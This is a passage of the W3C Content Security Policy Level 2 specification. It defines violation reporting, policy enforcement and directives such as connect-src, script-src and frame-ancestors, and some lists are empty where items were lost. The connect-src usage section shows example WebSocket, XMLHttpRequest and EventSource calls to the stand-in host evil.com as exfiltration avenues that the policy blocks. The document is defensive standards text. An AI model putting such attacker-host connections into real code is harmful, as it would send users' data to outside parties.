  3. Return the set of media types.

Matching

A media type matches a media type list if, and only if, the media type is an ASCII case-insensitive match for at least one token in the set of media types obtained by parsing the media type list.

Reporting

To strip uri for reporting, the user agent MUST use an algorithm equivalent to the following:
  1. If the origin of uri is a globally unique identifier (for example, uri has a scheme of data, blob, or filesystem), then abort these steps, and return the ASCII serialization of uri's scheme.
  2. If the origin of uri is not the same as the origin of the protected resource, then abort these steps, and return the ASCII serialization of uri's origin.
  3. Return uri, with any fragment component removed.
To generate a violation report object, the user agent MUST use an algorithm equivalent to the following:
  1. Prepare a JSON object violation with the following keys and values:
    blocked-uri
    The originally requested URL of the resource that was prevented from loading, stripped for reporting, or the empty string if the resource has no URL (inline script and inline style, for example).
    document-uri
    The address of the protected resource, stripped for reporting.
    effective-directive
    The name of the policy directive that was violated. This will contain the directive whose enforcement triggered the violation (e.g. "script-src") even if that directive does not explicitly appear in the policy, but is implicitly activated via the default-src directive.
    original-policy
    The original policy, as received by the user agent.
    referrer
    The referrer attribute of the protected resource, or the empty string if the protected resource has no referrer.
    status-code
    The status-code of the HTTP response that contained the protected resource, if the protected resource was obtained over HTTP. Otherwise, the number 0.
    violated-directive
    The policy directive that was violated, as it appears in the policy. This will contain the default-src directive in the case of violations caused by falling back to the default sources when enforcing a directive.
  2. If a specific line or a specific file can be identified as the cause of the violation (for example, script execution that violates the script-src directive), the user agent MAY add the following keys and values to violation:
    source-file
    The URL of the resource where the violation occurred, stripped for reporting.
    line-number
    The line number in source-file on which the violation occurred.
    column-number
    The column number in source-file on which the violation occurred.
  3. Return violation.
Note: blocked-uri will not contain the final location of a resource that was blocked after one or more redirects. It instead will contain only the location that the protected resource requested, before any redirects were followed. To send violation reports, the user agent MUST use an algorithm equivalent to the following:
  1. Prepare a JSON object report object with a single key, csp-report, whose value is the result of generating a violation report object.
  2. Let report body be the JSON stringification of report object.
  3. For each report URL in the set of report URLs:
    1. If the user agent has already sent a violation report for the protected resource to report URL, and that report contained an entity body that exactly matches report body, the user agent MAY abort these steps and continue to the next report URL.
    2. Queue a task to fetch report URL from the origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/csp-report, and an entity body consisting of report body. If the origin of report URL is not the same as the origin of the protected resource, the block cookies flag MUST also be set. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.) The task source for these tasks is the Content Security Policy task source.
To report a violation, the user agent MUST:
  1. Fire a violation event at the protected resource's Document.
  2. If the set of report URLs is non-empty, send violation reports to each.
Note: This section of the specification should not be interpreted as limiting user agents' ability to apply restrictions to violation reports in order to limit data leakage above and beyond what these algorithms specify. For example, a user agent might offer users the option of disabling reporting entirely.

Processing Model

To enforce a policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See , below). Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URLs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource's privileges that have been restricted in this way. Note: User agents may allow users to modify or bypass policy enforcement through user preferences, bookmarklets, third-party additions to the user agent, and other such mechanisms. To monitor a policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy. Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are allowed, but a violation report is generated and reported to the developer of the web application. Monitoring a policy is useful for testing whether enforcing the policy will cause the web application to malfunction. A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator may wish to enforce one policy but experiment with a stricter policy, she can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy. If the user agent monitors or enforces a policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console. If the user agent monitors or enforces a policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

Workers

Whenever a user agent runs a worker:

srcdoc iframes

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is enforcing any policies for the protected resource, the user agent MUST enforce those policies on the <{iframe}> srcdoc document as well. Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is monitoring any policies for the protected resource, the user agent MUST monitor those policies on the <{iframe}> srcdoc document as well.

Script Interfaces

SecurityPolicyViolationEvent Interface

      [Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
      interface SecurityPolicyViolationEvent : Event {
          readonly    attribute DOMString documentURI;
          readonly    attribute DOMString referrer;
          readonly    attribute DOMString blockedURI;
          readonly    attribute DOMString violatedDirective;
          readonly    attribute DOMString effectiveDirective;
          readonly    attribute DOMString originalPolicy;
          readonly    attribute DOMString sourceFile;
          readonly    attribute DOMString statusCode;
          readonly    attribute long      lineNumber;
          readonly    attribute long      columnNumber;
      };
    
documentURI
Refer to the document-uri property of violation reports for a description of this property.
referrer
Refer to the referrer property of violation reports for a description of this property.
blockedURI
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy
Refer to the original-policy property of violation reports for a description of this property.
statusCode
Refer to the status-code property of violation reports for a description of this property.
sourceFile
Refer to the source-file property of violation reports for a description of this property.
lineNumber
Refer to the line-number property of violation reports for a description of this property.
columnNumber
Refer to the column-number property of violation reports for a description of this property.

SecurityPolicyViolationEventInit Interface

      dictionary SecurityPolicyViolationEventInit : EventInit {
          DOMString documentURI;
          DOMString referrer;
          DOMString blockedURI;
          DOMString violatedDirective;
          DOMString effectiveDirective;
          DOMString originalPolicy;
          DOMString sourceFile;
          long      lineNumber;
          long      columnNumber;
      };
    
documentURI
Refer to the document-uri property of violation reports for a description of this property.
referrer
Refer to the referrer property of violation reports for a description of this property.
blockedURI
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy
Refer to the original-policy property of violation reports for a description of this property.
sourceFile
Refer to the source-file property of violation reports for a description of this property.
lineNumber
Refer to the line-number property of violation reports for a description of this property.
columnNumber
Refer to the column-number property of violation reports for a description of this property.

Firing Violation Events

To fire a violation event, the user agent MUST use an algorithm equivalent to the following:
  1. Let report object be the result of generating a violation report object.
  2. Queue a task to fire an event named securitypolicyviolation using the SecurityPolicyViolationEvent interface with the following initializations:
    • blockedURI MUST be initialized to the value of report object's blocked-uri key.
    • documentURI MUST be initialized to the value of report object's document-uri key.
    • effectiveDirective MUST be initialized to the value of report object's effective-directive key.
    • originalPolicy MUST be initialized to the value of report object's original-policy key.
    • referrer MUST be initialized to the value of report object's referrer key.
    • violatedDirective MUST be initialized to the value of report object's violated-directive key.
    • sourceFile MUST be initialized to the value of report object's source-file key.
    • lineNumber MUST be initialized to the value of report object's line-number key.
    • columnNumber MUST be initialized to the value of report object's column-number key.
The task source for these tasks is the Content Security Policy task source.

Directives

This section describes the content security policy directives introduced in this specification. Directive names are case insensitive. In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include: In either case, authors SHOULD NOT include either 'unsafe-inline' or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

base-uri

The base-uri directive restricts the URLs that can be used to specify the document base URL. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "base-uri"
      directive-value   = source-list
    
The term allowed base URLs refers to the result of parsing the base-uri directive's value as a source list. Note: base-uri does not fall back to the default sources. Step 4 of the algorithm defined in HTML5 to obtain a document's base URL (resolution of the href attribute of the base element) MUST be changed to:
  1. If the previous step was not successful, or the result of the previous step does not match the allowed base URLs for the protected resource, then the document base URL is fallback base URL. Otherwise, it is the result of the previous step.

child-src

The child-src directive governs the creation of nested browsing contexts as well as Worker execution contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "child-src"
      directive-value   = source-list
    
The term allowed child sources refers to the result of parsing the child-src directive's value as a source list if a child-src directive is explicitly specified, and otherwise to the default sources.

Nested Browsing Contexts

To enforce the child-src directive the user agent MUST enforce the frame-src directive.

Workers

Whenever the user agent fetches a URL while processing the Worker or SharedWorker constructors [[!WORKERS]], the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation if the URL does not match the allowed child sources for the protected resource.

connect-src

The connect-src directive restricts which URLs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "connect-src"
      directive-value   = source-list
    
The term allowed connection targets refers to the result of parsing the connect-src directive's value as a source list if the policy contains an explicit connect-src directive, or otherwise to the default sources. Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed connection targets for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

Usage

This section is not normative. JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest allows arbitrary HTTP requests. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration. The connect-src directive allows restricting these sorts of connections to the those matching the source expressions list. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only example.com, send the following header:
Content-Security-Policy: connect-src example.com
Each of the following will fail with the preceding directive in place:
  • new WebSocket("wss://evil.com/");
  • (new XMLHttpRequest()).open("GET", "https://evil.com/", true);
  • new EventSource("https://evil.com");

default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "default-src"
      directive-value   = source-list
    
Let the default sources be the result of parsing the default-src directive's value as a source list if a default-src directive is explicitly specified, and otherwise a list including all possible sources. To enforce the default-src directive, the user agent MUST enforce the following directives: If not specified explicitly in the policy, the directives listed above will use the default sources as their source list.

Usage

This section is not normative. default-src, as the name implies, serves as a default source list which the other source list-style directives will use as a fallback if they're not otherwise explicitly set. That is, consider the following policy declaration:
Content-Security-Policy: default-src 'self'
Under this policy, fonts, frames, images, media, objects, scripts, and styles will all only load from the same origin as the protected resource, and connections will only be made to the same origin. Adding a more specific declaration to the policy would completely override the default source list for that resource type.
Content-Security-Policy: default-src 'self'; script-src example.com
Under this new policy, fonts, frames, and etc. continue to be load from the same origin, but scripts will only load from example.com. There's no inheritance; the script-src directive sets the allowed sources of script, and the default list is not used for that resource type. Given this behavior, one good way of building a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there that contains only those resource types which are actually in use for the page you'd like to protect. If you don't use webfonts, for instance, there's no reason to specify a source list for font-src; specifying only those resource types a page uses ensures that the possible attack surface for that page remains as small as possible.

font-src

The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "font-src"
      directive-value   = source-list
    
The term allowed font sources refers to the result of parsing the font-src directive's value as a source list if the policy contains an explicit font-src, or otherwise to the default sources. Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed font sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

form-action

The form-action restricts which URLs can be used as the action of HTML <{form}> elements. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "form-action"
      directive-value   = source-list
    
The term allowed form actions refers to the result of parsing the form-action directive's value as a source list. Whenever the user agent fetches a URL in the course of processing an HTML <{form}> element, if the URL does not match the allowed form actions for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation. Note: form-action does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not form-action will still allow form submissions to any target.

frame-ancestors

The frame-ancestors directive indicates whether the user agent should allow embedding the resource using a <{frame}>, <{iframe}>, <{object}>, <{embed}> or <{applet}> element, or equivalent functionality in non-HTML resources. Resources can use this directive to avoid many UI Redressing attacks by avoiding being embedded into potentially hostile contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:
      ancestor-source-list = [ ancestor-source *( 1*WSP ancestor-source ) ] / "'none'"
      ancestor-source      = scheme-source / host-source / "'self'"

      directive-name  = "frame-ancestors"
      directive-value = ancestor-source-list
    
The term allowed frame ancestors refers to the result of parsing the frame-ancestors directive's value as a source list. If a frame-ancestors directive is not explicitly included in the policy, then allowed frame ancestors is "*". To enforce the frame-ancestors directive, whenever the user agent would load the protected resource into a nested browsing context, the user agent MUST perform the following steps:
  1. Let nestedContext be the nested browsing context into which the protected resource is being loaded.
  2. Let ancestorList be the list of all ancestors of nestedContext.
  3. For each ancestorContext in ancestorList:
    1. Let document be ancestorContext's active document.
    2. If document's URL does not match the allowed frame ancestors for the protected resource, the user agent MUST:
      1. Abort loading the protected resource.
      2. Take one of the following actions:
      3. Parse a sandboxing directive using the empty string as the input and the newly created document's forced sandboxing flag set as the output.
      4. Report a violation.
      5. Abort these steps.
Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a normal cross-origin document's load. If these steps are ignored, leakage of a document's policy state is possible. The frame-ancestors directive MUST be ignored when monitoring a policy, and when a contained in a policy defined via a <{meta}> element. Note: frame-ancestors does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not frame-ancestors will still allow the resource to be framed from anywhere. When generating a violation report for a frame-ancestors violation, the user agent MUST NOT include the value of the embedding ancestor as a blocked-uri value unless it is same-origin with the protected resource, as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.

Relation to X-Frame-Options

This directive is similar to the X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivalent to that header's DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document's location. This directive checks each ancestor. If any ancestor doesn't match, the load is cancelled. [[!RFC7034]] The frame-ancestors directive obsoletes the X-Frame-Options header. If a resource has both policies, the frame-ancestors policy SHOULD be enforced and the X-Frame-Options policy SHOULD be ignored.

Multiple Host Source Values

This section is not normative. Multiple source-list expressions are allowed in a single policy (in contrast to X-Frame-Options, which allows only one) to enable scenarios involving embedded application components that are multiple levels below the top-level browsing context. Many common scenarios for embedding (e.g. embeddable payment, sharing or social apps) involve potentially many hundreds or thousands of valid source-list expressions, but it is strongly recommended against accommodating such scenarios with a static frame-ancestors directive listing multiple values. In such cases it is beneficial to generate this value dynamically, based on an HTTP Referer header or an explicitly passed-in value, to allow only the sources necessary for each given embedding of the resource. Consider a service providing a payments application at https://payments/makeEmbedded. The service allows this resource to be embedded by both merchant Alice and merchant Bob, who compete with each other. Sending:
        Content-Security-Policy: frame-ancestors https://alice https://bob
      
would allow Bob to re-frame Alice's resource and create fraudulent clicks, perhaps discrediting Alice with her customers or the payments service. If the payments service used additional information (e.g. as part of a URL like https://payments/makeEmbedded?merchant=alice) to send individually-tailored headers listing only the source-list expressions needed by each merchant, this attack would be eliminated.

frame-src

The frame-src directive is deprecated. Authors who wish to govern nested browsing contexts SHOULD use the child-src directive instead. The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "frame-src"
      directive-value   = source-list
    
The term allowed frame sources refers to the result of parsing the frame-src directive's value as a source list if the policy contains an explicit frame-src, or otherwise to the list of allowed child sources. Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed frame sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "img-src"
      directive-value   = source-list
    
The term allowed image sources refers to the result of parsing the img-src directive's value as a source list if the policy contains an explicit img-src, or otherwise to the list of default sources. Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed image sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

media-src

The media-src directive restricts from where the protected resource can load video, audio, and associated text tracks. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "media-src"
      directive-value   = source-list
    
The term allowed media sources refers to the result of parsing the media-src directive's value as a source list if the policy contains an explicit media-src, or otherwise to the list of default sources. Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed media sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "object-src"
      directive-value   = source-list
    
The term allowed object sources refers to the result of parsing the object-src directive's value as a source list if the policy contains an explicit object-src, or otherwise to the list of default sources. Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed object sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation: It is not required that the consumer of the element's data be a plugin in order for the object-src directive to be enforced. Data for any <{object}>, <{embed}>, or <{applet}> element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other [[#directives]], such as an <{object}> element with a text/html MIME type. Whenever the user agent would load a plugin without an associated URL (e.g., because the <{object}> element lacked a <{object/data}> attribute), if the protected resource's URL does not match the allowed object sources for the protected resource, the user agent MUST NOT load the plugin.

plugin-types

The plugin-types directive restricts the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "plugin-types"
      directive-value   = media-type-list
    
The term allowed plugin media types refers to the result of parsing the plugin-types directive's value as a media type list. Whenever the user agent would instantiate a plugin to handle resource while enforcing the plugin-types directive, the user agent MUST instead act as though the plugin reported an error and report a violation if any of the following conditions hold: Note: In any of these cases, acting as though the plugin reported an error will cause the user agent to display the fallback content. Whenever the user agent creates a plugin document as the active document of a child browsing context of the protected resource, if the user agent is enforcing any plugin-types directives for the protected resource, the user agent MUST enforce those plugin-types directives on the plugin document as well. Whenever the user agent creates a plugin document as the active document of a child browsing context of the protected resource, if the user agent is monitoring any plugin-types directives for the protected resource, the user agent MUST monitor those plugin-types directives on the plugin document as well.

Usage

This section is not normative. The plugin-types directive whitelists a certain set of MIME types that can be embedded in a protected resource. For example, a site might want to ensure that PDF content loads, but that no other plugins can be instantiated. The following directive would satisfy that requirement:
Content-Security-Policy: plugin-types application/pdf
Resources embedded via an embed or object element delivered with an application/pdf content type would be rendered in the appropriate plugin; resources delivered with some other content type would be blocked. Multiple types can be specified, in any order. If the site decided to additionally allow Flash at some point in the future, it could do so with the following directive:
Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash
Note: Wildcards are not accepted in the plugin-types directive. Only the resource types explicitly listed in the directive will be allowed.

Predeclaration of expected media types

This section is not normative. Enforcing the plugin-types directive requires that object and embed elements declare the expected media type of the resource they include via the type attribute. If an author expects to load a PDF, she could specify this as follows:
<object data="resource" type="application/pdf"></object>
If resource isn't actually a PDF file, it won't load. This prevents certain types of attacks that rely on serving content that unexpectedly invokes a plugin other than that which the author intended. Note: resource will not load in this scenario even if its media type is otherwise whitelisted: resources will only load when their media type is whitelisted and matches the declared type in their containing element.

report-uri

The report-uri directive specifies a URL to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "report-uri"
      directive-value   = uri-reference *( 1*WSP uri-reference )
      uri-reference     = <URI-reference from RFC 3986>
    
The set of report URLs is the value of the report-uri directive, each resolved relative to the protected resource's URL. The process of sending violation reports to the URLs specified in this directive's value is defined in this document's section. Note: The report-uri directive will be ignored if contained within a meta element.

sandbox

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "sandbox"
      directive-value   = "" / sandbox-token *( 1*WSP sandbox-token )
      sandbox-token     = <token from RFC 7230>
    
When enforcing the sandbox directive, the user agent MUST parse a sandboxing directive using the directive-value as the input and protected resource's forced sandboxing flag set as the output. [[!HTML5]] The sandbox directive will be ignored when monitoring a policy, and when contained in a policy defined via a meta element. Moreover, this directive has no effect when monitored, and has no reporting requirements.

Sandboxing and Workers

When delivered via an HTTP header, a Content Security Policy may indicate that sandboxing flags ought to be applied to a JavaScript execution environment that is not a {{Document}}. Of particular interest is the script content intended for use as a Worker, Shared Worker, or Service Worker. Many of the sandboxing flags do not apply to such environments, but allow-scripts and allow-same-origin have special requirements. When a resource is loaded while executing the runs a Worker algorithm, the user agent MUST act as if there was a fatal network error and no resource could be obtained if either of the following conditions holds:
  1. The sandbox directive delivered with the resource does not contain the allow-scripts flag.
  2. The sandbox directive delivered with the resource does not contain the allow-same-origin flag, and the creation of the new execution context requires it to be same-origin with its creating context.

Usage

This section is not normative.

HTML5 defines a sandbox attribute for iframe elements, intended to allow web authors to reduce the risk of including potentially untrusted content by imposing restrictions on that content's abilities. When the attribute is set, the content is forced into a unique origin, prevented from submitting forms, running script, creating or navigating other browsing contexts, and prevented from running plugins. These restrictions can be loosened by setting certain flags as the attribute's value. The sandbox directive allows any resource, framed or not, to ask for the same sorts of restrictions to be applied to itself. For example, a message board or email system might provide downloads of arbitrary attachments provided by other users. Attacks that rely on tricking a client into rendering one of these attachments could be mitigated by requesting that resources only be rendered in a very restrictive sandbox. Sending the sandbox directive with an empty value establishes such an environment:

Content-Security-Policy: sandbox
More trusted resources might be allowed to run in an environment with fewer restrictions by adding allow-* flags to the directive's value. For example, you can allow a page that you trust to run script, while ensuring that it isn't treated as same-origin with the rest of your site. This can be accomplished by sending the sandbox directive with the allow-scripts flag:
Content-Security-Policy: sandbox allow-scripts
The set of flags available to the CSP directive should match those available to the iframe attribute. Currently, those include: Note: Like the rest of Content Security Policy, the sandbox directive is meant as a defense-in-depth. Web authors would be well-served to use it in addition to standard sniffing-mitigation and privilege-reduction techniques.

script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [[!XSLT]], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "script-src"
      directive-value   = source-list
    
The term allowed script sources refers to the result of parsing the script-src directive's value as a source list if the policy contains an explicit script-src, or otherwise to the default sources. If 'unsafe-inline' is not in the list of allowed script sources, or if at least one nonce-source or hash-source is present in the list of allowed script sources: If 'unsafe-eval' is not in allowed script sources: Whenever the user agent fetches a URL (including when following redirects) in the course of one of the following activities, if the URL does not match the allowed script sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

Nonce usage for script elements

This section is not normative. The script-src directive lets developers specify exactly which script elements on a page were intentionally included for execution. Ideally, developers would avoid inline script entirely and whitelist scripts by URL. However, in some cases, removing inline scripts can be difficult or impossible. For those cases, developers can whitelist scripts using a randomly generated nonce. Usage is straightforward. For each request, the server generates a unique value at random, and includes it in the Content-Security-Policy header:
        Content-Security-Policy: default-src 'self';
                                 script-src 'self' https://example.com 'nonce-$RANDOM'
      
This same value is then applied as a nonce attribute to each script element that ought to be executed. For example, if the server generated the random value Nc3n83cnSAd3wc3Sasdfn939hc3, the server would send the following policy:
        Content-Security-Policy: default-src 'self';
                                 script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'
      
Script elements can then execute either because their <{script/src}> URLs are whitelisted or because they have a valid nonce:
        <script>
        alert("Blocked because the policy doesn't have 'unsafe-inline'.")
        </script>

        <script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
        alert("Still blocked because nonce is wrong.")
        </script>

        <script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
        alert("Allowed because nonce is valid.")
        </script>

        <script src="https://example.com/allowed-because-of-src.js"></script>

        <script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
            src="https://elsewhere.com/blocked-because-nonce-is-wrong.js"></script>

        <script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
            src="https://elsewhere.com/allowed-because-nonce-is-valid.js"></script>
      
Note that the nonce's value is not a hash or signature that verifies the contents of the script resources. It's quite simply a random string that informs the user agent which scripts were intentionally included in the page. Script elements with the proper nonce execute, regardless of whether they're inline or external. Script elements without the proper nonce don't execute unless their URLs are whitelisted. Even if an attacker is able to inject markup into the protected resource, the attack will be blocked by the attacker's inability to guess the random value.

Hash usage for script elements

This section is not normative. The script-src directive lets developers whitelist a particular inline script by specifying its hash as an allowed source of script. Usage is straightforward. The server computes the hash of a particular script block's contents, and includes the base64 encoding of that value in the Content-Security-Policy header:
        Content-Security-Policy: default-src 'self';
                                 script-src 'self' https://example.com 'sha256-base64 encoded hash'
      
Each inline script block's contents are hashed, and compared against the whitelisted value. If there's a match, the script is executed. For example, the SHA-256 digest of alert('Hello, world.'); is qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=.
You can obtain the digest of a string on the command line simply via the openssl program. For example:
          echo -n "alert('Hello, world.');" | openssl dgst -sha256 -binary | openssl enc -base64
        
If the server sent the following header:
        Content-Security-Policy: script-src 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='
      
Then the following script tag would result in script execution:
        <script>alert('Hello, world.');</script>
      
Whitespace is significant. The following scripts blocks would not hash to the same value, and would therefore not execute:
        <script> alert('Hello, world.');</script>
        <script>alert('Hello, world.'); </script>
        <script> alert('Hello, world.'); </script>
        <script>
        alert('Hello, world.');
        </script>
      
Note also that the hash applies only to inline script. An externalized script containing the value alert('Hello, world.'); would not execute if its origin was not whitelisted as a valid source of script.

style-src

The style-src directive restricts which styles the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:
      directive-name    = "style-src"
      directive-value   = source-list
    
The term allowed style sources refers to the result of parsing the style-src directive's value as a source list if the policy contains an explicit style-src, or otherwise to the default sources. If 'unsafe-inline' is not in the list of allowed style sources, or if at least one nonce-source or hash-source is present in the list of allowed style sources: Note: These restrictions on inline do not prevent the user agent from applying style from an external stylesheet (e.g., found via <link rel="stylesheet" ...>). If 'unsafe-eval' is not in allowed style sources, then: Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed style sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation: Note: The style-src directive does not restrict the use of XSLT. XSLT is restricted by the script-src directive because the security consequences of including an untrusted XSLT stylesheet are similar to those incurred by including an untrusted script.

Nonce usage for style elements

This section is not normative. See the script-src nonce usage information for detail; the application of nonces to style elements is similar enough to avoid repetition here.

Hash usage for style elements

This section is not normative. See the script-src hash usage information for detail; the application of hashes to style elements is similar enough to avoid repetition here.

Examples

Sample Policy Definitions

This section provides some sample use cases and supporting policies.
A server wishes to load resources only from its own origin:
Content-Security-Policy: default-src 'self'
An auction site wishes to load images from any URL, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:
        Content-Security-Policy:
            default-src 'self'; img-src *;
            object-src media1.example.com media2.example.com *.cdn.example.com;
            script-src trustedscripts.example.com
      
An online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:
Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'
This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.
A website that relies on inline script elements wishes to ensure that script is only executed from its own origin, and those elements it intentionally inserted inline:
Content-Security-Policy: script-src 'self' 'nonce-$RANDOM';
The inline script elements would then only execute if they contained a matching nonce attribute:
<script nonce="$RANDOM">...</script>

Sample Violation Report

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy. In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following policy:
default-src 'self'; report-uri http://example.org/csp-report.cgi
The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.
      {
        "csp-report": {
          "document-uri": "http://example.org/page.html",
          "referrer": "http://evil.example.com/haxor.html",
          "blocked-uri": "http://evil.example.com/image.png",
          "violated-directive": "default-src 'self'",
          "effective-directive": "img-src",
          "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
        }
      }
    

Security Considerations

Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin. These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

Redirect Information Leakage

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URL. The mitigations are not complete, however: redirects which are blocked will produce side-effects which may be visible to JavaScript (via img.naturalHeight, for instance). An earlier version of this specification defined a CSP request header which servers could use (in conjunction with the referer and origin headers) to determine whether or not it was completely safe to redirect a user. This header caused some issues with CORS processing (tracked in whatwg/fetch#52), and has been punted to the next version of this document.

Implementation Considerations

